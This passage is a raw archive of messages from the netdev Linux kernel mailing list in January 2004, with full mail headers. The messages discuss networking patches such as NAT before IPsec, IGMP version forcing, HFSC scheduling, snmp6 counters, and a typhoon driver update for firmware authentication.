aj@dungeon.inka.de, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: NAT before IPsec with 2.6 Message-Id: <20040128113825.769fd89c.davem@redhat.com> In-Reply-To: <20040128085831.GM11761@sunbeam.de.gnumonks.org> References: <20040124082252.GA19035@alpha.home.local> <20040124092721.GA19140@alpha.home.local> <20040127103917.GC11761@sunbeam.de.gnumonks.org> <20040127132725.GA14685@openoffice.nl> <20040128085831.GM11761@sunbeam.de.gnumonks.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2872 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 569 Lines: 13 On Wed, 28 Jan 2004 09:58:31 +0100 Harald Welte wrote: > No, we don't achieve this by manipulating the routing code, but by > placing the respective hooks in ah{4,6}.c and esp{4,6}.c > {ah,esp}_output() function respectively. We also need to (again) reset > the skb->nfct and drop the conntrack reference again. Why not just do this right when we pop into the dst_output() call in ip_output.c This way we don't have to add all of this stuff for every new encapsulator we ever implement. Maybe not like this precisely, but something like it. From davem@redhat.com Wed Jan 28 11:38:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 11:39:03 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SJct7J025381 for ; Wed, 28 Jan 2004 11:38:55 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0SJclb19051; Wed, 28 Jan 2004 14:38:47 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0SJcla11048; Wed, 28 Jan 2004 14:38:47 -0500 Received: from cheetah (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0SJcKkC010578; Wed, 28 Jan 2004 14:38:21 -0500 Date: Wed, 28 Jan 2004 11:38:46 -0800 From: "David S. Miller" To: Christoph Hellwig Cc: akpm@osdl.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, netdev@oss.sgi.com Subject: Re: 2.6.2-rc2-mm1 Message-Id: <20040128113846.4c71521b.davem@redhat.com> In-Reply-To: <20040128094106.A26158@infradead.org> References: <20040127233402.6f5d3497.akpm@osdl.org> <20040128094106.A26158@infradead.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2873 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 387 Lines: 11 On Wed, 28 Jan 2004 09:41:06 +0000 Christoph Hellwig wrote: > On Tue, Jan 27, 2004 at 11:34:02PM -0800, Andrew Morton wrote: > > Jeff's tree: netdev.patch > > Any plan when we'll get the damn netdev lifetime rule fixes merged? > They're real life problems and have been around for a long time.. Please be more specific, show me what patch you're talking about. From davem@redhat.com Wed Jan 28 11:42:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 11:42:29 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SJgO7J026068 for ; Wed, 28 Jan 2004 11:42:24 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0SJenb20468; Wed, 28 Jan 2004 14:40:49 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0SJena12031; Wed, 28 Jan 2004 14:40:49 -0500 Received: from cheetah (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0SJeMkC011674; Wed, 28 Jan 2004 14:40:23 -0500 Date: Wed, 28 Jan 2004 11:40:47 -0800 From: "David S. Miller" To: Shmuel Hen Cc: jgarzik@pobox.com, netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/6][8021q][2.4] Use VLAN tag set functionality in 8021q module Message-Id: <20040128114047.3d5e8817.davem@redhat.com> In-Reply-To: <200401281857.25642.shmulik.hen@intel.com> References: <200401281857.25642.shmulik.hen@intel.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2874 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 841 Lines: 19 On Wed, 28 Jan 2004 18:57:25 +0200 Shmuel Hen wrote: > On Monday 26 January 2004 19:42, Jeff Garzik wrote: > > Shmuel Hen wrote: > > > Also, speaking of the bonding changes queued in netdev-2.4, some > > > of those have been queued there since 2.4.23 came out. Will those > > > be pushed to Marcelo during 2.4.25 or do you intend to hold them > > > until 2.4.26-preX starts? > > > > Sounds like DaveM and I will need to coordinate a bit, then. > > By coordinate, do you mean that you'll take in all of our patches and > forward them to Dave at the appropriate time, or instead wait for > Dave to take in the first half (which is not bonding specific) and > only then take the last half ? I think the best is to have me push the infrastructure into 2.6.3-pre1 and then Jeff can add the bonding bits to his tree. From davem@redhat.com Wed Jan 28 12:00:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 12:00:16 -0800 (PST) Received: from cheetah (mail@adsl-63-197-226-105.dsl.snfc21.pacbell.net [63.197.226.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SK077J026898 for ; Wed, 28 Jan 2004 12:00:07 -0800 Received: from cheetah ([127.0.0.1] ident=davem) by cheetah with smtp (Exim 3.36 #1 (Debian)) id 1Alvr2-0004xn-00; Wed, 28 Jan 2004 12:00:04 -0800 Date: Wed, 28 Jan 2004 12:00:03 -0800 From: "David S. Miller" To: David Stevens Cc: netdev@oss.sgi.com Subject: Re: sysctl variable to force IGMP version [PATCH] Message-Id: <20040128120003.0d5f3df2.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2875 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 566 Lines: 12 On Tue, 27 Jan 2004 14:13:41 -0700 David Stevens wrote: > Below is a patch that allows forcing of the IGMP version. The primary > use would be with an IGMP-snooping switch that doesn't grok IGMPv3 > packet formats and when there are no IGMPv2 or IGMPv1 multicast > routers on the network. By forcing the IGMP reports to version 2 (or > version 1, for really old switches), Linux would send reports that the > switch can understand for multicast forwarding to the port. Perhaps some sanity to prevent values other than 1 or 2 from being set? From davem@redhat.com Wed Jan 28 12:02:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 12:02:32 -0800 (PST) Received: from cheetah (mail@adsl-63-197-226-105.dsl.snfc21.pacbell.net [63.197.226.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SK2S7J027338 for ; Wed, 28 Jan 2004 12:02:28 -0800 Received: from cheetah ([127.0.0.1] ident=davem) by cheetah with smtp (Exim 3.36 #1 (Debian)) id 1AlvqB-0004wZ-00; Wed, 28 Jan 2004 11:59:11 -0800 Date: Wed, 28 Jan 2004 11:59:10 -0800 From: "David S. Miller" To: Ville Nuorvala Cc: yoshfuji@linux-ipv6.org, pekkas@netcore.fi, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic Message-Id: <20040128115910.0a83e906.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2876 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 312 Lines: 10 On Tue, 27 Jan 2004 23:11:20 +0200 (EET) Ville Nuorvala wrote: > Dave, since even Pekka is now convinced this patch doesn't break anything, > would you consider applying it? :) Yoshfuji asked for some time, so let us give it to him so he may analyze your change without rushing. Thanks. From xma@us.ibm.com Wed Jan 28 12:11:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 12:11:20 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SKB87J027956 for ; Wed, 28 Jan 2004 12:11:16 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0SKANo6143590; Wed, 28 Jan 2004 15:10:25 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0SK9JYd050168; Wed, 28 Jan 2004 13:09:19 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: "David S. Miller" Cc: Krishna Kumar , kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Wed, 28 Jan 2004 12:09:15 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/28/2004 13:09:18 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4BADFFD292A8f9e8a93df938690918c08BBE4BADFFD292A" Content-Disposition: inline X-archive-position: 2877 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1475 Lines: 51 --0__=08BBE4BADFFD292A8f9e8a93df938690918c08BBE4BADFFD292A Content-type: text/plain; charset=US-ASCII > Perhaps there are some better ideas? Yes. Dave, could we create a new interface to avoid the spin_lock? Example 1: modify write_seqlock(set_lock *s) to write_seqlock(seq_lock *s, int lock), it will modify all calling routines. Example 2: write a new interface write_seqlock_percpu(), which gets rid of the spin_lock, we can call by a different name, since there is no lock. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --0__=08BBE4BADFFD292A8f9e8a93df938690918c08BBE4BADFFD292A Content-type: text/html; charset=US-ASCII Content-Disposition: inline

> Perhaps there are some better ideas?

Yes. Dave, could we create a new interface to avoid the spin_lock?

Example 1:
modify write_seqlock(set_lock *s) to write_seqlock(seq_lock *s, int lock), it will modify all calling routines.

Example 2:
write a new interface write_seqlock_percpu(), which gets rid of the spin_lock, we can call by a different name, since there is no lock.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228
--0__=08BBE4BADFFD292A8f9e8a93df938690918c08BBE4BADFFD292A-- From xma@us.ibm.com Wed Jan 28 12:17:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 12:17:33 -0800 (PST) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SKHU7J028476 for ; Wed, 28 Jan 2004 12:17:30 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0SKGlZP329102; Wed, 28 Jan 2004 15:16:48 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0SKFkS9060458; Wed, 28 Jan 2004 13:15:46 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: Shirley Ma Cc: "David S. Miller" , Krishna Kumar , kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Wed, 28 Jan 2004 12:15:44 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/28/2004 13:15:46 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4BADFFC9FF58f9e8a93df938690918c08BBE4BADFFC9FF5" Content-Disposition: inline X-archive-position: 2878 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 854 Lines: 32 --0__=08BBE4BADFFC9FF58f9e8a93df938690918c08BBE4BADFFC9FF5 Content-type: text/plain; charset=US-ASCII This solution doesn't favor writers also. How about do some udelay in the reader to avoid modifing the writers? Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --0__=08BBE4BADFFC9FF58f9e8a93df938690918c08BBE4BADFFC9FF5 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

This solution doesn't favor writers also. How about do some udelay in the reader to avoid modifing the writers?

Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228
--0__=08BBE4BADFFC9FF58f9e8a93df938690918c08BBE4BADFFC9FF5-- From davem@redhat.com Wed Jan 28 14:58:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 14:58:26 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SMw77J003847 for ; Wed, 28 Jan 2004 14:58:07 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0SMw1b23442; Wed, 28 Jan 2004 17:58:01 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0SMw1a29862; Wed, 28 Jan 2004 17:58:01 -0500 Received: from cheetah (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0SMvYkC016133; Wed, 28 Jan 2004 17:57:35 -0500 Date: Wed, 28 Jan 2004 14:58:00 -0800 From: "David S. Miller" To: Patrick McHardy Cc: jamie@shareable.org, hadi@cyberus.ca, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH]: altq HFSC port Message-Id: <20040128145800.5ec4b57b.davem@redhat.com> In-Reply-To: <4017C54D.2060607@trash.net> References: <1075128375.1746.392.camel@jzny.localdomain> <40155F1A.7070507@trash.net> <20040126235957.GA30186@mail.shareable.org> <4017C54D.2060607@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2879 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 28 Jan 2004 15:21:01 +0100 Patrick McHardy wrote: > As the GPL specifically states that "identifable sections" > retain their license, I guess their is no need to repeat it > in the source file. Regarding the politeness (I don't want > to be impolite), the authors are informed and support getting > HFSC into Linux. > > Dave, is that good enough for you ? Yes, it is. Please if you could resubmit the patch to me under seperate cover, that would be great. I recall it was for 2.6.x, but if you could procure also a 2.4.x version I'll happily add it. These are like drivers so it'd be totally safe. From dave@thedillows.org Wed Jan 28 14:58:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 15:11:07 -0800 (PST) Received: from sccrmhc12.comcast.net (sccrmhc12.comcast.net [204.127.202.56]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0SMw57K003845 for ; Wed, 28 Jan 2004 14:58:07 -0800 Received: from ori.thedillows.org (pcp03710388pcs.westk01.tn.comcast.net[68.34.200.110]) by comcast.net (sccrmhc12) with ESMTP id <20040128033157012002d01qe>; Wed, 28 Jan 2004 03:31:57 +0000 Received: from ori.thedillows.org (localhost.thedillows.org [127.0.0.1]) by ori.thedillows.org (8.12.8/8.12.8) with ESMTP id i0S3Vu8K003721; Tue, 27 Jan 2004 22:31:56 -0500 Received: (from il1@localhost) by ori.thedillows.org (8.12.8/8.12.8/Submit) id i0S3VudX003718; Tue, 27 Jan 2004 22:31:56 -0500 X-Authentication-Warning: ori.thedillows.org: il1 set sender to dave@thedillows.org using -f Subject: [BK] Updated 2.6 typhoon driver for 3CR990 & 3CR990B cards From: David Dillow To: Jeff Garzik Cc: Netdev Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1075260716.3637.4.camel@ori.thedillows.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 27 Jan 2004 22:31:56 -0500 X-archive-position: 2880 X-Approved-By: ralf@linux-mips.org X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dave@thedillows.org Precedence: bulk X-list: netdev [ Resend, seems my mailer had issues. ] [ I've not sent patches to the list, as the firmware update is too big. ] Jeff, please do a bk pull http://typhoon.bkbits.net/typhoon-2.5 This will update the following files: drivers/net/typhoon-firmware.h | 6890 +++++++++++++++++++++-------------------- drivers/net/typhoon.c | 20 drivers/net/typhoon.h | 6 3 files changed, 3563 insertions(+), 3353 deletions(-) through these ChangeSets: (03/12/15 1.1488) Support the new 3CR990B cards that require authentication of the runtime firmware image. And the non-firmware part is: diff -Nru a/drivers/net/typhoon.c b/drivers/net/typhoon.c --- a/drivers/net/typhoon.c Mon Jan 26 22:58:36 2004 +++ b/drivers/net/typhoon.c Mon Jan 26 22:58:36 2004 @@ -85,8 +85,8 @@ #define PKT_BUF_SZ 1536 #define DRV_MODULE_NAME "typhoon" -#define DRV_MODULE_VERSION "1.5.2" -#define DRV_MODULE_RELDATE "03/11/25" +#define DRV_MODULE_VERSION "1.5.3" +#define DRV_MODULE_RELDATE "03/12/15" #define PFX DRV_MODULE_NAME ": " #define ERR_PFX KERN_ERR PFX @@ -157,6 +157,7 @@ TYPHOON_TX = 0, TYPHOON_TX95, TYPHOON_TX97, TYPHOON_SVR, TYPHOON_SVR95, TYPHOON_SVR97, TYPHOON_TXM, TYPHOON_BSVR, TYPHOON_FX95, TYPHOON_FX97, TYPHOON_FX95SVR, TYPHOON_FX97SVR, + TYPHOON_FXM, }; /* directly indexed by enum typhoon_cards, above */ @@ -185,6 +186,8 @@ TYPHOON_CRYPTO_DES | TYPHOON_FIBER}, { "3Com Typhoon (3CR990-FX-97 Server)", TYPHOON_CRYPTO_DES | TYPHOON_CRYPTO_3DES | TYPHOON_FIBER}, + { "3Com Typhoon2 (3C990B-FX-97)", + TYPHOON_CRYPTO_VARIABLE | TYPHOON_FIBER}, }; /* Notes on the new subsystem numbering scheme: @@ -203,6 +206,8 @@ { PCI_VENDOR_ID_3COM, PCI_DEVICE_ID_3COM_3CR990B, PCI_ANY_ID, 0x1000, 0, 0, TYPHOON_TXM }, { PCI_VENDOR_ID_3COM, PCI_DEVICE_ID_3COM_3CR990B, + PCI_ANY_ID, 0x1102, 0, 0, TYPHOON_FXM }, + { PCI_VENDOR_ID_3COM, PCI_DEVICE_ID_3COM_3CR990B, PCI_ANY_ID, 0x2000, 0, 0, TYPHOON_BSVR }, { PCI_VENDOR_ID_3COM, PCI_DEVICE_ID_3COM_3CR990_FX, PCI_ANY_ID, 0x1101, 0, 0, TYPHOON_FX95 }, @@ -1363,6 +1368,7 @@ u32 section_len; u32 len; u32 load_addr; + u32 hmac; int i; int err; @@ -1406,6 +1412,16 @@ writel(TYPHOON_INTR_BOOTCMD, ioaddr + TYPHOON_REG_INTR_STATUS); writel(load_addr, ioaddr + TYPHOON_REG_DOWNLOAD_BOOT_ADDR); + hmac = le32_to_cpu(fHdr->hmacDigest[0]); + writel(hmac, ioaddr + TYPHOON_REG_DOWNLOAD_HMAC_0); + hmac = le32_to_cpu(fHdr->hmacDigest[1]); + writel(hmac, ioaddr + TYPHOON_REG_DOWNLOAD_HMAC_1); + hmac = le32_to_cpu(fHdr->hmacDigest[2]); + writel(hmac, ioaddr + TYPHOON_REG_DOWNLOAD_HMAC_2); + hmac = le32_to_cpu(fHdr->hmacDigest[3]); + writel(hmac, ioaddr + TYPHOON_REG_DOWNLOAD_HMAC_3); + hmac = le32_to_cpu(fHdr->hmacDigest[4]); + writel(hmac, ioaddr + TYPHOON_REG_DOWNLOAD_HMAC_4); typhoon_post_pci_writes(ioaddr); writel(TYPHOON_BOOTCMD_RUNTIME_IMAGE, ioaddr + TYPHOON_REG_COMMAND); diff -Nru a/drivers/net/typhoon.h b/drivers/net/typhoon.h --- a/drivers/net/typhoon.h Mon Jan 26 22:58:36 2004 +++ b/drivers/net/typhoon.h Mon Jan 26 22:58:36 2004 @@ -512,6 +512,7 @@ u32 version; u32 numSections; u32 startAddr; + u32 hmacDigest[5]; } __attribute__ ((packed)); struct typhoon_section_header { @@ -548,6 +549,11 @@ #define TYPHOON_REG_BOOT_LENGTH TYPHOON_REG_HOST2ARM1 #define TYPHOON_REG_DOWNLOAD_BOOT_ADDR TYPHOON_REG_HOST2ARM1 +#define TYPHOON_REG_DOWNLOAD_HMAC_0 TYPHOON_REG_HOST2ARM2 +#define TYPHOON_REG_DOWNLOAD_HMAC_1 TYPHOON_REG_HOST2ARM3 +#define TYPHOON_REG_DOWNLOAD_HMAC_2 TYPHOON_REG_HOST2ARM4 +#define TYPHOON_REG_DOWNLOAD_HMAC_3 TYPHOON_REG_HOST2ARM5 +#define TYPHOON_REG_DOWNLOAD_HMAC_4 TYPHOON_REG_HOST2ARM6 #define TYPHOON_REG_BOOT_RECORD_ADDR_HI TYPHOON_REG_HOST2ARM2 #define TYPHOON_REG_BOOT_RECORD_ADDR_LO TYPHOON_REG_HOST2ARM1 From davem@redhat.com Wed Jan 28 16:07:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 16:07:14 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0T0757J006546 for ; Wed, 28 Jan 2004 16:07:06 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0T070b30378; Wed, 28 Jan 2004 19:07:00 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0T070a22132; Wed, 28 Jan 2004 19:07:00 -0500 Received: from cheetah (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0T06YkC021116; Wed, 28 Jan 2004 19:06:34 -0500 Date: Wed, 28 Jan 2004 16:06:59 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH 2/2] IPV6: use ipv6_addr_is_multicast() Message-Id: <20040128160659.305291c4.davem@redhat.com> In-Reply-To: <20040128.163047.87255505.yoshfuji@linux-ipv6.org> References: <20040128.163047.87255505.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0T0757J006546 X-archive-position: 2882 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 28 Jan 2004 16:30:47 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > Use simple ipv6_addr_is_multicast() > where ipv6_addr_type() is called to check for multicast only. > > Thanks. Also applied, arigato. From davem@redhat.com Wed Jan 28 16:06:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 16:07:07 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0T06m7J006508 for ; Wed, 28 Jan 2004 16:06:49 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0T064b29781; Wed, 28 Jan 2004 19:06:04 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0T064a21725; Wed, 28 Jan 2004 19:06:04 -0500 Received: from cheetah (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0T05bkC020569; Wed, 28 Jan 2004 19:05:38 -0500 Date: Wed, 28 Jan 2004 16:06:03 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH 1/2] IPV6: use ipv6_addr_any() Message-Id: <20040128160603.10491a21.davem@redhat.com> In-Reply-To: <20040128.163043.120256112.yoshfuji@linux-ipv6.org> References: <20040128.163043.120256112.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0T06m7J006508 X-archive-position: 2881 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 28 Jan 2004 16:30:43 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > Use simple ipv6_addr_any() > where ipv6_addr_type() is called only to check for unspecified address. Applied. Arigato Yoshfuji-san. From aj@dungeon.inka.de Wed Jan 28 18:29:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 18:29:58 -0800 (PST) Received: from mail.inka.de 